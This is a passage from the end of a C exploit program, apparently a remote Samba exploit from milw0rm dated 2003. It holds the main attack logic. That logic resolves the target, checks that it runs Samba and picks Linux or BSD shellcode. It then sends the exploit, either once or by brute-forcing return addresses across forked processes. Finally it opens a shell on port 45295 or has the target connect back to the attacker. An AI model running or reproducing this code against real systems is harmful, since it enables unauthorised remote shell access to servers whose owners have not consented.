912 break;
913 default:
914 if (i > MAX_CHILDS - 2) {
915 wait(&status);
916 i--;
917 }
918 break;
919 }
920 }
921
922 }
923
924 return 0;
925 }
926
927
928 he = gethostbyname(argv[optind]);
929
930 if (he == NULL) {
931 fprintf(stderr, "Unable to resolve %s...\n", argv[optind]);
932 return -1;
933 }
934
935 if (brute == -1) {
936
937 if (ret == 0) ret = targets[type - 1].ret;
938
939 shellcode = targets[type - 1].shellcode;
940
941 if (connectback == 1) {
942 fprintf(stdout, "+ connecting back to: [%d.%d.%d.%d:45295]\n",
943 ip1, ip2, ip3, ip4);
944
945 switch(targets[type - 1].os_type) {
946 case 0: /* linux */
947 shellcode = linux_connect_back;
948 break;
949 case 1: /* FreeBSD/NetBSD */
950 shellcode = bsd_connect_back;
951 break;
952 case 2: /* OpenBSD */
953 shellcode = bsd_connect_back;
954 break;
955 case 3: /* OpenBSD 3.2 Non-exec stack */
956 shellcode = bsd_connect_back;
957 break;
958 }
959
960 }
961
962 if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
963 fprintf(stderr, "+ socket() error.\n");
964 return -1;
965 }
966
967 if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
968 fprintf(stderr, "+ socket() error.\n");
969 return -1;
970 }
971
972 memcpy(&addr1.sin_addr, he->h_addr, he->h_length);
973 memcpy(&addr2.sin_addr, he->h_addr, he->h_length);
974
975 addr1.sin_family = AF_INET;
976 addr1.sin_port = htons(port);
977 addr2.sin_family = AF_INET;
978 addr2.sin_port = htons(45295);
979
980 if (connect(sock, (struct sockaddr *)&addr1, sizeof(addr1)) == -1) {
981 fprintf(stderr, "+ connect() error.\n");
982 return -1;
983 }
984
985 if (verbose == 1) fprintf(stdout, "+ %s\n", targets[type - 1].type);
986
987 if (force == 0) {
988
989 if (is_samba(argv[optind], 2) != 0) {
990 fprintf(stderr, "+ Host is not running samba!\n\n");
991 return -1;
992 }
993
994 fprintf(stderr, "+ Host is running samba.\n");
995 }
996
997 if (verbose == 1) fprintf(stdout, "+ Connected to [%s:%d]\n", (char *)inet_ntoa(addr1.sin_addr), port);
998
999 if (start_session(sock) < 0) fprintf(stderr, "+ Session failed.\n");
1000
1001 if (verbose == 1) fprintf(stdout, "+ Session enstablished\n");
1002 sleep(5);
1003 if (targets[type - 1].os_type != 2) {
1004 if (exploit_normal(sock, ret, shellcode) < 0) {
1005 fprintf(stderr, "+ Failed.\n");
1006 close(sock);
1007 }
1008 } else {
1009 if (exploit_openbsd32(sock, ret, shellcode) < 0) {
1010 fprintf(stderr, "+ Failed.\n");
1011 close(sock);
1012 }
1013 }
1014
1015 sleep(2);
1016
1017 if (connectback == 0) {
1018 if(connect(sock2, (struct sockaddr *)&addr2, sizeof(addr2)) == -1) {
1019 fprintf(stderr, "+ Exploit failed, try -b to bruteforce.\n");
1020
1021 return -1;
1022 }
1023
1024 fprintf(stdout, "--------------------------------------------------------------\n");
1025
1026 shell(sock2);
1027 close(sock);
1028 close(sock2);
1029 } else {
1030 fprintf(stdout, "+ Done...\n");
1031 close(sock2);
1032 close(sock);
1033 }
1034 return 0;
1035 }
1036
1037 signal(SIGPIPE, SIG_IGN);
1038 signal(SIGUSR1, handler);
1039
1040 switch(brute) {
1041 case 0:
1042 if (ret == 0) ret = 0xc0000000;
1043 shellcode = linux_bindcode;
1044 fprintf(stdout, "+ Bruteforce mode. (Linux)\n");
1045 break;
1046 case 1:
1047 if (ret == 0) ret = 0xbfc00000;
1048 shellcode = bsd_bindcode;
1049 fprintf(stdout, "+ Bruteforce mode. (FreeBSD / NetBSD)\n");
1050 break;
1051 case 2:
1052 if (ret == 0) ret = 0xdfc00000;
1053 shellcode = bsd_bindcode;
1054 fprintf(stdout, "+ Bruteforce mode. (OpenBSD 3.1 and prior)\n");
1055 break;
1056 case 3:
1057 if (ret == 0) ret = 0x00170000;
1058 shellcode = bsd_bindcode;
1059 fprintf(stdout, "+ Bruteforce mode. (OpenBSD 3.2 - non-exec stack)\n");
1060 break;
1061 }
1062
1063 memcpy(&addr1.sin_addr, he->h_addr, he->h_length);
1064 memcpy(&addr2.sin_addr, he->h_addr, he->h_length);
1065
1066 addr1.sin_family = AF_INET;
1067 addr1.sin_port = htons(port);
1068 addr2.sin_family = AF_INET;
1069 addr2.sin_port = htons(45295);
1070
1071 for (i = 0; i < 100; i++)
1072 childs[i] = -1;
1073 i = 0;
1074
1075 if (force == 0) {
1076 if (is_samba(argv[optind], 2) != 0) {
1077 fprintf(stderr, "+ Host is not running samba!\n\n");
1078 return -1;
1079 }
1080
1081 fprintf(stderr, "+ Host is running samba.\n");
1082 }
1083
1084 while (OWNED == 0) {
1085
1086 if (sock > 2) close(sock);
1087 if (sock2 > 2) close(sock2);
1088
1089 if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
1090 if (verbose == 1) fprintf(stderr, "+ socket() error.\n");
1091 }
1092 else {
1093 ret -= STEPS;
1094 i++;
1095 }
1096
1097 if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0)
1098 if (verbose == 1) fprintf(stderr, "+ socket() error.\n");
1099
1100
1101 if ((ret & 0xff) == 0x00 && brute != 3) ret++;
1102
1103 if (verbose == 1) fprintf(stdout, "+ Using ret: [0x%08x]\n", (unsigned int)ret);
1104
1105 usleep(BRUTE_DELAY);
1106
1107 switch (childs[i] = fork()) {
1108 case 0:
1109 if(Connect(sock, (char *)inet_ntoa(addr1.sin_addr), port, 2) == -1) {
1110 if (sock > 2) close(sock);
1111 if (sock2 > 2) close(sock2);
1112 exit(-1);
1113 }
1114
1115 if(write_timer(sock, 3) == 1) {
1116 if (start_session(sock) < 0) {
1117 if (verbose == 1) fprintf(stderr, "+ Session failed.\n");
1118 if (sock > 2)close(sock);
1119 if (sock2 > 2) close(sock2);
1120 exit(-1);
1121 }
1122
1123 if (brute == 3) {
1124 if (exploit_openbsd32(sock, ret, shellcode) < 0) {
1125 if (verbose == 1) fprintf(stderr, "+ Failed.\n");
1126 if (sock > 2) close(sock);
1127 if (sock2 > 2) close(sock2);
1128 exit(-1);
1129 }
1130 }
1131 else {
1132 if (exploit_normal(sock, ret, shellcode) < 0) {
1133 if (verbose == 1) fprintf(stderr, "+ Failed.\n");
1134 if (sock > 2) close(sock);
1135 if (sock2 > 2) close(sock2);
1136 exit(-1);
1137 }
1138
1139 if (sock > 2) close(sock);
1140
1141 if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
1142 if (sock2 > 2) close(sock2);
1143 exit(-1);
1144 }
1145
1146 if(Connect(sock2, (char *)inet_ntoa(addr1.sin_addr), 45295, 2) != -1) {
1147 if (sock2 > 2) close(sock2);
1148 kill(getppid(), SIGUSR1);
1149 }
1150
1151 exit(1);
1152 }
1153
1154
1155 exit(0);
1156 break;
1157 case -1:
1158 fprintf(stderr, "+ fork() error\n");
1159 exit(-1);
1160 break;
1161 default:
1162 if (i > MAX_CHILDS - 2) {
1163 wait(&status);
1164 i--;
1165 }
1166 break;
1167 }
1168
1169 }
1170
1171 }
1172
1173 return 0;
1174}
1175
1176// milw0rm.com [2003-04-10]